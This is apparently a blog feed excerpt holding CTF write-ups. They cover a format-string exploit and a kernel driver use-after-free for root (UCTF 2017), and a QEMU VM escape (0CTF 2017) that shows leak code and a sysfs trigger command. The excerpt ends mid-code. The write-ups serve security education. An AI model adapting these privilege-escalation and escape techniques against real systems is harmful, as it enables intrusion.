    <content type="html"><![CDATA[<blockquote><p>题目中上，但各种乱象毁了这个比赛。</p></blockquote><h2 id="NotFormat"><a href="#NotFormat" class="headerlink" title="NotFormat"></a>NotFormat</h2><h3 id="概览"><a href="#概览" class="headerlink" title="概览"></a>概览</h3><p>程序是静态链接的，利用缓解机制只启用了NX,程序只是一个简单的读取输入并返回。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> checksec NotFormat</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE</span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> ./NotFormat</span><br><span class="line">Have fun!</span><br><span class="line">test</span><br><span class="line">test</span><br></pre></td></tr></table></figure><h3 id="漏洞"><a href="#漏洞" class="headerlink" title="漏洞"></a>漏洞</h3><p>程序main函数很短，如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">double</span> v8; <span class="comment">// xmm4_8@1</span></span><br><span class="line">  <span class="keyword">double</span> v9; <span class="comment">// xmm5_8@1</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">264</span>]; <span class="comment">// [rsp+0h] [rbp-110h]@1</span></span><br><span class="line">  __int64 v11; <span class="comment">// [rsp+108h] [rbp-8h]@1</span></span><br><span class="line"></span><br><span class="line">  v11 = *MK_FP(__FS__, <span class="number">40L</span>L);</span><br><span class="line">  setvbuf((<span class="keyword">int</span> *)off_6CB740, <span class="number">0L</span>L, <span class="number">2</span>, <span class="number">0L</span>L);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">"Have fun!"</span>);</span><br><span class="line">  read_line(buf);</span><br><span class="line">  <span class="built_in">printf</span>(buf, <span class="number">0L</span>L);</span><br><span class="line">  <span class="built_in">exit</span>(<span class="number">0L</span>L);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>存在一个很明显的格式化字符串漏洞。</p><h3 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h3><p>因为格式化字符串使用之后立即就调用exit退出了，所以目标是直接通过一次printf劫持控制流。</p><h4 id="控制RIP"><a href="#控制RIP" class="headerlink" title="控制RIP"></a>控制RIP</h4><p>我用到的是修改FILE *stdout结构的vtable到我们构造的位置。由于没有开启PIE，所以这些内容的位置都可以确定。</p><h4 id="栈迁移"><a href="#栈迁移" class="headerlink" title="栈迁移"></a>栈迁移</h4><p>当控制RIP之后，程序的栈的位置与我们输入内容的位置差距很大，但是正好找到这个gadget可以迁移到我们输入的buffer。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x43f17d : ret 0x6b8</span><br></pre></td></tr></table></figure><p>ret之后正好会跳到0x0457fc1位置，实现栈迁移。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x457fc1 : add rsp, 0x2120 ; mov eax, r12d ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; re</span><br></pre></td></tr></table></figure><p>之后可以再次调用read，并再次迁移到一个大buffer。最后调用<code>execve(&quot;/bin/sh&quot;, 0, 0)</code></p><p><a href="https://gist.github.com/Eadom/9be3d15affa56ae96b72bcdbdefbce34" target="_blank" rel="noopener">uctf2017_notformat.py</a></p><h2 id="babydriver"><a href="#babydriver" class="headerlink" title="babydriver"></a>babydriver</h2><h3 id="概览-1"><a href="#概览-1" class="headerlink" title="概览"></a>概览</h3><p>这是一个简单的驱动题，只开启了SMEP(貌似也用不到……)。</p><p>提供了<code>/dev/babydriver</code>设备:</p><ul><li>read/write操作可以将buf从<code>babydev_struct.device_buf</code>读取或写入，长度限制为<code>babydev_struct.device_buf_len</code>。</li><li>ioctl的cmd为0x10001时可以对<code>babydev_struct.device_buf</code>重新分配。</li><li>close时会将<code>babydev_struct.device_buf</code>释放。</li></ul><h3 id="漏洞-1"><a href="#漏洞-1" class="headerlink" title="漏洞"></a>漏洞</h3><p>一个最明显的漏洞是<code>babydev_struct</code>是一个全局变量，所有的文件描述符都共享一个<code>babydev_struct</code>，当一个文件描述符被调用close时，<code>babydev_struct.device_buf</code>会被释放。当其他未关闭的文件描述符调用时，会触发UAF，可以对一段内核空间进行读写。</p><h3 id="利用-1"><a href="#利用-1" class="headerlink" title="利用"></a>利用</h3><p>当device_buf被释放掉后，这个指针成为悬空指针，扔可以进行读写，这时候希望可以有一个结构被申请然后占到原来的这个位置。最直观的想法就是如果能有cred结构直接占上来，然后就可以对cred内容修改，达到获取root权限的目的。</p><p>cred结构如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">cred</span> &#123;</span></span><br><span class="line"><span class="keyword">atomic_t</span>usage;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> CONFIG_DEBUG_CREDENTIALS</span></span><br><span class="line"><span class="keyword">atomic_t</span>subscribers;<span class="comment">/* number of processes subscribed */</span></span><br><span class="line"><span class="keyword">void</span>*put_addr;</span><br><span class="line"><span class="keyword">unsigned</span>magic;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> CRED_MAGIC0x43736564</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> CRED_MAGIC_DEAD0x44656144</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"><span class="keyword">kuid_t</span>uid;<span class="comment">/* real UID of the task */</span></span><br><span class="line"><span class="keyword">kgid_t</span>gid;<span class="comment">/* real GID of the task */</span></span><br><span class="line"><span class="keyword">kuid_t</span>suid;<span class="comment">/* saved UID of the task */</span></span><br><span class="line"><span class="keyword">kgid_t</span>sgid;<span class="comment">/* saved GID of the task */</span></span><br><span class="line"><span class="keyword">kuid_t</span>euid;<span class="comment">/* effective UID of the task */</span></span><br><span class="line"><span class="keyword">kgid_t</span>egid;<span class="comment">/* effective GID of the task */</span></span><br><span class="line"><span class="keyword">kuid_t</span>fsuid;<span class="comment">/* UID for VFS ops */</span></span><br><span class="line"><span class="keyword">kgid_t</span>fsgid;<span class="comment">/* GID for VFS ops */</span></span><br><span class="line"><span class="keyword">unsigned</span>securebits;<span class="comment">/* SUID-less security management */</span></span><br><span class="line"><span class="keyword">kernel_cap_t</span>cap_inheritable; <span class="comment">/* caps our children can inherit */</span></span><br><span class="line"><span class="keyword">kernel_cap_t</span>cap_permitted;<span class="comment">/* caps we're permitted */</span></span><br><span class="line"><span class="keyword">kernel_cap_t</span>cap_effective;<span class="comment">/* caps we can actually use */</span></span><br><span class="line"><span class="keyword">kernel_cap_t</span>cap_bset;<span class="comment">/* capability bounding set */</span></span><br><span class="line"><span class="keyword">kernel_cap_t</span>cap_ambient;<span class="comment">/* Ambient capability set */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> CONFIG_KEYS</span></span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span>jit_keyring;<span class="comment">/* default keyring to attach requested</span></span><br><span class="line"><span class="comment"> * keys to */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">key</span> __<span class="title">rcu</span> *<span class="title">session_keyring</span>;</span> <span class="comment">/* keyring inherited over fork */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">key</span>*<span class="title">process_keyring</span>;</span> <span class="comment">/* keyring private to this process */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">key</span>*<span class="title">thread_keyring</span>;</span> <span class="comment">/* keyring private to this thread */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">key</span>*<span class="title">request_key_auth</span>;</span> <span class="comment">/* assumed request_key authority */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> CONFIG_SECURITY</span></span><br><span class="line"><span class="keyword">void</span>*security;<span class="comment">/* subjective LSM security */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">user_struct</span> *<span class="title">user</span>;</span><span class="comment">/* real user ID subscription */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">user_namespace</span> *<span class="title">user_ns</span>;</span> <span class="comment">/* user_ns the caps and keyrings are relative to. */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">group_info</span> *<span class="title">group_info</span>;</span><span class="comment">/* supplementary groups for euid/fsgid */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">rcu_head</span><span class="title">rcu</span>;</span><span class="comment">/* RCU deletion hook */</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>它的大小是0xa8。于是利用的步骤如下：</p><ol><li>open两个fd，fd1及fd2。通过ioctl设置device_buf为0xa8大小。</li><li>close(fd1)，device_buf指针被释放。</li><li>现在可以通过fd2继续操作device_buf指向的内容。</li><li>通过fork一堆进程试图在申请cred结构的时候占到device_buf指向的位置。</li><li>修改占上的cred，获取root。 </li></ol><p>做的时候粗暴地试试结果发现就可以占上了……然后粗暴的把ctf用户的所有的id为0x3e8的都改成了0。</p><p><a href="https://gist.github.com/Eadom/c88f1eab2853281583aab150382ec710" target="_blank" rel="noopener">uctf2017_babydriver.py</a></p><p>P.S. 出题时希望可以把网卡驱动带进去，不然传程序进去也挺麻烦……</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;blockquote&gt;
&lt;p&gt;题目中上，但各种乱象毁了这个比赛。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;NotFormat&quot;&gt;&lt;a href=&quot;#NotFormat&quot; class=&quot;headerlink&quot; title=&quot;NotFormat&quot;&gt;&lt;/a&gt;NotForm
      
    
    </summary>
    
      <category term="writeups" scheme="https://blog.eadom.net/categories/writeups/"/>
    
    
      <category term="writeup" scheme="https://blog.eadom.net/tags/writeup/"/>
    
      <category term="uctf" scheme="https://blog.eadom.net/tags/uctf/"/>
    
  </entry>
  
  <entry>
    <title>QEMU Escape --- vm_escape from 0CTF 2017 Finals Writeup</title>
    <link href="https://blog.eadom.net/writeups/qemu-escape-vm-escape-from-0ctf-2017-finals-writeup/"/>
    <id>https://blog.eadom.net/writeups/qemu-escape-vm-escape-from-0ctf-2017-finals-writeup/</id>
    <published>2017-06-15T16:04:14.000Z</published>
    <updated>2025-11-21T12:45:50.792Z</updated>
    
    <content type="html"><![CDATA[<p>It’s a great challenge to get familiar with QEMU escape. We are going to exploit QEMU via a custom vulnerable device.</p><p>You should read <a href="http://www.phrack.org/papers/vm-escape-qemu-case-study.html" target="_blank" rel="noopener">VM escape - QEMU Case Study</a> before reading this writeup.</p><h2 id="Challenge"><a href="#Challenge" class="headerlink" title="Challenge"></a>Challenge</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">challenge</span><br><span class="line">├── dependency</span><br><span class="line">│   ├── libnettle.so.6.2</span><br><span class="line">│   └── usr</span><br><span class="line">│       └── local</span><br><span class="line">│           └── share</span><br><span class="line">│               └── qemu</span><br><span class="line">│                   ├── bios-256k.bin</span><br><span class="line">│                   ├── efi-e1000.rom</span><br><span class="line">│                   ├── kvmvapic.bin</span><br><span class="line">│                   ├── linuxboot_dma.bin</span><br><span class="line">│                   └── vgabios-stdvga.bin</span><br><span class="line">├── launch.sh</span><br><span class="line">├── qemu-system-x86_64</span><br><span class="line">├── rootfs.cpio</span><br><span class="line">└── vmlinuz-4.8.0-52-generic</span><br></pre></td></tr></table></figure><p>There is a <em>qemu-system-x86_64</em> binary with a launch script, a linux kernel, a initramfs and some dependencies.</p><p>We can get an interactive shell by executing <code>launch.sh</code>.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">    __ __ _____________   __   __    ___    ____</span><br><span class="line">   / //_// ____/ ____/ | / /  / /   /   |  / __ )</span><br><span class="line">  / ,&lt;  / __/ / __/ /  |/ /  / /   / /| | / __  |</span><br><span class="line"> / /| |/ /___/ /___/ /|  /  / /___/ ___ |/ /_/ /</span><br><span class="line">/_/ |_/_____/_____/_/ |_/  /_____/_/  |_/_____/</span><br><span class="line"></span><br><span class="line">Welcome to Tencent Keenlab</span><br><span class="line">Tencent login: root</span><br><span class="line"># uname -r</span><br><span class="line">4.8.0-52-generic</span><br><span class="line">#</span><br></pre></td></tr></table></figure><h2 id="The-custom-vulnerable-device"><a href="#The-custom-vulnerable-device" class="headerlink" title="The custom vulnerable device"></a>The custom vulnerable device</h2><p><em>luanch.sh</em> shows there are two custom device named <em>vdd</em>.</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> ./qemu-system-x86_64 -device help 2&gt;&amp;1 | grep VDD</span><br><span class="line">name "VDD", bus PCI, desc "KeenLab virtualized Devices For Testing D"</span><br></pre></td></tr></table></figure><p>we can use some commands to find these devices and their io port/memroy.</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span> lspci</span><br><span class="line">00:00.0 Class 0600: 8086:1237</span><br><span class="line">00:01.3 Class 0680: 8086:7113</span><br><span class="line">00:03.0 Class 0200: 8086:100e</span><br><span class="line">00:01.1 Class 0101: 8086:7010</span><br><span class="line">00:02.0 Class 0300: 1234:1111</span><br><span class="line">00:05.0 Class 00ff: 1234:2333</span><br><span class="line">00:01.0 Class 0601: 8086:7000</span><br><span class="line">00:04.0 Class 00ff: 1234:2333</span><br><span class="line"><span class="meta">#</span> cat /proc/iomem</span><br><span class="line">...</span><br><span class="line">  fe900000-fe9fffff : 0000:00:04.0</span><br><span class="line">  fea00000-feafffff : 0000:00:05.0</span><br><span class="line">...</span><br><span class="line"><span class="meta">#</span> cat /proc/ioports</span><br><span class="line">...</span><br><span class="line">  c000-c0ff : 0000:00:04.0</span><br><span class="line">  c100-c1ff : 0000:00:05.0</span><br><span class="line">...</span><br></pre></td></tr></table></figure><h3 id="OOBW"><a href="#OOBW" class="headerlink" title="OOBW"></a>OOBW</h3><p>In <code>vdd_mmio_write</code>, there is a out-of-bound write vulnerability which copys QEMU heap memory to guset physical memory when we set <code>dma_len</code> larger than <code>sizeof(dam_buf)</code>.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __fastcall <span class="title">vdd_mmio_write</span><span class="params">(TencentPCIState *opaque, hwaddr addr, <span class="keyword">uint64_t</span> val, <span class="keyword">unsigned</span> <span class="keyword">int</span> size)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int64_t</span> v4; <span class="comment">// rax@21</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ( opaque-&gt;dma_state )</span><br><span class="line">  &#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">switch</span> ( addr )</span><br><span class="line">      &#123;</span><br><span class="line">        ...</span><br><span class="line">        <span class="keyword">case</span> <span class="number">32u</span>LL:</span><br><span class="line">          ((<span class="keyword">void</span> (__fastcall *)(<span class="keyword">char</span> *, <span class="keyword">dma_addr_t</span>, _QWORD))opaque-&gt;dma_state-&gt;phys_mem_write)(</span><br><span class="line">            opaque-&gt;dma_buf,</span><br><span class="line">            opaque-&gt;dma_state-&gt;dst,</span><br><span class="line">            opaque-&gt;dma_len);                   <span class="comment">// OOB write</span></span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        ...</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="UAF"><a href="#UAF" class="headerlink" title="UAF"></a>UAF</h3><p>Also in <code>vdd_mmio_write</code>, if <code>addr == 128</code> and <code>opaque-&gt;sr[129] &amp; 1 != 0</code>, we can set a timer which will execute <code>vdd_dma_timer</code> after <code>opaque-&gt;expire_time</code> ns.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __fastcall <span class="title">vdd_mmio_write</span><span class="params">(TencentPCIState *opaque, hwaddr addr, <span class="keyword">uint64_t</span> val, <span class="keyword">unsigned</span> <span class="keyword">int</span> size)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int64_t</span> v4; <span class="comment">// rax@21</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ( opaque-&gt;dma_state )</span><br><span class="line">  &#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> ( addr &gt; <span class="number">0x24</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( addr == <span class="number">128</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( opaque-&gt;sr[<span class="number">129</span>] &amp; <span class="number">1</span> )</span><br><span class="line">        &#123;</span><br><span class="line">          v4 = qemu_clock_get_ns(<span class="number">0</span>);</span><br><span class="line">          timer_mod(&amp;opaque-&gt;dma_timer, v4 + opaque-&gt;expire_time);</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      ...</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>In <code>vdd_dma_timer</code>, it invokes <code>opaque-&gt;dma_state-&gt;phys_mem_read/write</code>.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __fastcall <span class="title">vdd_dma_timer</span><span class="params">(TencentPCIState *opaque)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">if</span> ( opaque-&gt;dma_state-&gt;cmd )</span><br><span class="line">    ((<span class="keyword">void</span> (__fastcall *)(<span class="keyword">char</span> *, <span class="keyword">dma_addr_t</span>, _QWORD))opaque-&gt;dma_state-&gt;phys_mem_read)(</span><br><span class="line">      opaque-&gt;dma_buf,</span><br><span class="line">      opaque-&gt;dma_state-&gt;dst,</span><br><span class="line">      opaque-&gt;dma_len &amp; <span class="number">0x2FF</span>);</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    ((<span class="keyword">void</span> (__fastcall *)(<span class="keyword">char</span> *, <span class="keyword">dma_addr_t</span>, _QWORD))opaque-&gt;dma_state-&gt;phys_mem_write)(</span><br><span class="line">      opaque-&gt;dma_buf,</span><br><span class="line">      opaque-&gt;dma_state-&gt;dst,</span><br><span class="line">      opaque-&gt;dma_len &amp; <span class="number">0x2FF</span>);</span><br><span class="line">  <span class="keyword">if</span> ( opaque-&gt;dma_state-&gt;cmd == <span class="number">1</span> )</span><br><span class="line">    vdd_raise_irq(opaque, <span class="number">0x100</span>u);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>If <code>pci_vdd_uninit</code> is invoked before <code>vdd_dma_timer</code>, the <em>dma_state</em> will be  used after free.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __fastcall <span class="title">pci_vdd_uninit</span><span class="params">(TencentPCIState *opaque)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  __int64 v1; <span class="comment">// rax@5</span></span><br><span class="line">  __int64 v2; <span class="comment">// [rsp+28h] [rbp-8h]@1</span></span><br><span class="line"></span><br><span class="line">  v2 = *MK_FP(__FS__, <span class="number">40L</span>L);</span><br><span class="line">  <span class="built_in">memset</span>(opaque-&gt;sr, <span class="number">0</span>, <span class="number">0x100</span>uLL);</span><br><span class="line">  <span class="keyword">if</span> ( opaque-&gt;dma_state )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">memset</span>(opaque-&gt;dma_state, <span class="number">0</span>, <span class="number">0x330</span>uLL);</span><br><span class="line">    g_free((rcu_head *)opaque-&gt;dma_state);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( opaque-&gt;buf )</span><br><span class="line">    g_free((rcu_head *)opaque-&gt;buf);</span><br><span class="line">  v1 = *MK_FP(__FS__, <span class="number">40L</span>L) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Exploitation"><a href="#Exploitation" class="headerlink" title="Exploitation"></a>Exploitation</h2><p>The exploitation is divided into two steps: </p><ol><li>leak QEMU program address. </li><li>hijack control flow</li></ol><h3 id="Leak-QEMU-program-address"><a href="#Leak-QEMU-program-address" class="headerlink" title="Leak QEMU program address"></a>Leak QEMU program address</h3><p>First, we allocate a buffer and get it’s physical address. Then we set <code>dma_state-&gt;dst</code> to our buffer and set <code>dma_len</code> larger than <code>sizeof(dma_buf)</code>. Finally, we trigger <code>phys_mem_write</code> by <code>writel(0, piomem + 32)</code>. By searching the output, we can find libc addresses and program addresses then calculate the base address of program/libc. </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">phys_mem_write</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">int</span> dst, <span class="keyword">unsigned</span> <span class="keyword">int</span> len)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    set_dmastate_dst(dst);</span><br><span class="line">    set_dmalen(len);</span><br><span class="line">    writel(<span class="number">0</span>, piomem + <span class="number">32</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">mem_leak</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    pbuf = (<span class="keyword">unsigned</span> <span class="keyword">long</span>)kmalloc(<span class="number">0x10000</span>, GFP_KERNEL);</span><br><span class="line">    <span class="built_in">memset</span>(pbuf, <span class="number">0</span>, <span class="number">0x10000</span>);</span><br><span class="line">    phys_mem_write(virt_to_phys(pbuf), <span class="number">0x1000</span>);</span><br><span class="line">    <span class="comment">// xxd(pbuf, 0x1000);</span></span><br><span class="line">    libc_base = search_libc_addr(pbuf, <span class="number">0x1000</span>);</span><br><span class="line">    printk(<span class="string">"libc base:0x%lx\n"</span>, libc_base);</span><br><span class="line">    prog_base = search_prog_addr(pbuf, <span class="number">0x1000</span>);</span><br><span class="line">    printk(<span class="string">"program base:0x%lx\n"</span>, prog_base);</span><br><span class="line">    system_addr = prog_base + SYSTEM_OFFSET;</span><br><span class="line">    printk(<span class="string">"system addr:0x%lx\n"</span>, system_addr);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Control-RIP"><a href="#Control-RIP" class="headerlink" title="Control RIP"></a>Control RIP</h3><p>There are three steps to exploit the use-after-free vulnerability:</p><ol><li>set a timer</li><li>trigger <code>pci_vdd_uninit</code></li><li>reallocte and rewrite <code>dma_state</code></li></ol><p>The following command can trigger <code>pci_vdd_uninit</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo 0 &gt; /sys/bus/pci/slots/4/power</span><br></pre></td></tr></table></figure><p>When <code>vdd_dma_timer</code> runs, we can control rip.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __fastcall <span class="title">vdd_dma_timer</span><span class="params">(TencentPCIState *opaque)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">if</span> ( opaque-&gt;dma_state-&gt;cmd )</span><br><span class="line">    ((<span class="keyword">void</span> (__fastcall *)(<span class="keyword">char</span> *, <span class="keyword">dma_addr_t</span>, _QWORD))opaque-&gt;dma_state-&gt;phys_mem_read)(</span><br><span class="line">      opaque-&gt;dma_buf,</span><br><span class="line">      opaque-&gt;dma_state-&gt;dst,</span><br><span class="line">      opaque-&gt;dma_len &amp; <span class="number">0x2FF</span>);</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    ((<span class="keyword">void</span> (__fastcall *)(<span class="keyword">char</span> *, <span class="keyword">dma_addr_t</span>, _QWORD))opaque-&gt;dma_state-&gt;phys_mem_write)(</span><br><span class="line">      opaque-&gt;dma_buf,</span><br><span class="line">      opaque-&gt;dma_state-&gt;dst,</span><br><span class="line">      opaque-&gt;dma_len &amp; <span 